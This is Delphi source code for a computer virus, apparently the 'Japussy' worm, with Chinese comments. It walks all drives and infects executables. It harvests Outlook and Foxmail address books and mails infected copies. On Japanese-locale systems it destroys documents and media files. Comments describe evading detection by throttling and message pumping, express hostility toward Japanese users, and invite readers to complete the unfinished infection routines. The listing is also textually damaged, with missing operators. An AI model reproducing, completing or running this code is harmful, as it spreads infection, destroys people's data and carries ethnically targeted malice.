procedure LoopFiles(Path, Mask: string);

var

i, Count: Integer;

Fn, Ext: string;

SubDir: TStrings;

SearchRec: TSearchRec;

Msg: TMsg;

function IsValidDir(SearchRec: TSearchRec): Integer;

begin

if (SearchRec.Attr 16) and (SearchRec.Name ‘.’) and

(SearchRec.Name ‘..’) then

Result := 0 //不是目录

else if (SearchRec.Attr = 16) and (SearchRec.Name ‘.’) and

(SearchRec.Name ‘..’) then

Result := 1 //不是根目录

else Result := 2; //是根目录

end;

begin

if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then

begin

repeat

PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑

if IsValidDir(SearchRec) = 0 then

begin

Fn := Path + SearchRec.Name;

Ext := UpperCase(ExtractFileExt(Fn));

if (Ext = ‘.EXE’) or (Ext = ‘.SCR’) then

begin

InfectOneFile(Fn); //感染可执行文件

end

else if (Ext = ‘.HTM’) or (Ext = ‘.HTML’) or (Ext = ‘.ASP’) then

begin

//感染HTML和ASP文件，将Base64编码后的病毒写入

//感染浏览此网页的所有用户

//哪位大兄弟愿意完成之？

end

else if Ext = ‘.WAB’ then //Outlook地址簿文件

begin

//获取Outlook邮件地址

end

else if Ext = ‘.ADC’ then //Foxmail地址自动完成文件

begin

//获取Foxmail邮件地址

end

else if Ext = ‘IND’ then //Foxmail地址簿文件

begin

//获取Foxmail邮件地址

end

else

begin

if IsJap then //是倭文操作系统

begin

if (Ext = ‘.DOC’) or (Ext = ‘.XLS’) or (Ext = ‘.MDB’) or

(Ext = ‘.MP3’) or (Ext = ‘.RM’) or (Ext = ‘.RA’) or

(Ext = ‘.WMA’) or (Ext = ‘.ZIP’) or (Ext = ‘.RAR’) or

(Ext = ‘.MPEG’) or (Ext = ‘.ASF’) or (Ext = ‘.JPG’) or

(Ext = ‘.JPEG’) or (Ext = ‘.GIF’) or (Ext = ‘.SWF’) or

(Ext = ‘.PDF’) or (Ext = ‘.CHM’) or (Ext = ‘.AVI’) then

SmashFile(Fn); //摧毁文件

end;

end;

end;

//感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑

Sleep(200);

until (FindNext(SearchRec) 0);

end;

FindClose(SearchRec);

SubDir := TStringList.Create;

if (FindFirst(Path + ‘*.*’, faDirectory, SearchRec) = 0) then

begin

repeat

if IsValidDir(SearchRec) = 1 then

SubDir.Add(SearchRec.Name);

until (FindNext(SearchRec) 0);

end;

FindClose(SearchRec);

Count := SubDir.Count – 1;

for i := 0 to Count do

LoopFiles(Path + SubDir.Strings + ‘/’, Mask);

FreeAndNil(SubDir);

end;

{ 遍历磁盘上所有的文件 }

procedure InfectFiles;

var

DriverList: string;

i, Len: Integer;

begin

if GetACP = 932 then //日文操作系统

IsJap := True; //去死吧！

DriverList := GetDrives; //得到可写的磁盘列表

Len := Length(DriverList);

while True do //死循环

begin

for i := Len downto 1 do //遍历每个磁盘驱动器

LoopFiles(DriverList + ‘:/’, ‘*.*’); //感染之

SendMail; //发带毒邮件

Sleep(1000 * 60 * 5); //睡眠5分钟

end;

end;

{ 主程序开始 }

begin

if IsWin9x then //是Win9x

RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程

else //WinNT

begin

//远程线程映射到Explorer进程

//哪位兄台愿意完成之？

end;

//如果是原始病毒体自己

if CompareText(ExtractFileName(ParamStr(0)), ‘Japussy.exe’) = 0 then

InfectFiles //感染和发邮件

else //已寄生于宿主程序上了，开始工作

begin

TmpFile := ParamStr(0); //创建临时文件

Delete(TmpFile, Length(TmpFile) – 4, 4);

TmpFile := TmpFile + #32 + ‘.exe’; //真正的宿主文件，多一个空格

ExtractFile(TmpFile); //分离之

FillStartupInfo(Si, SW_SHOWDEFAULT);

CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,

0, nil, ‘.’, Si, Pi); //创建新进程运行之

InfectFiles; //感染和发邮件

end;

end.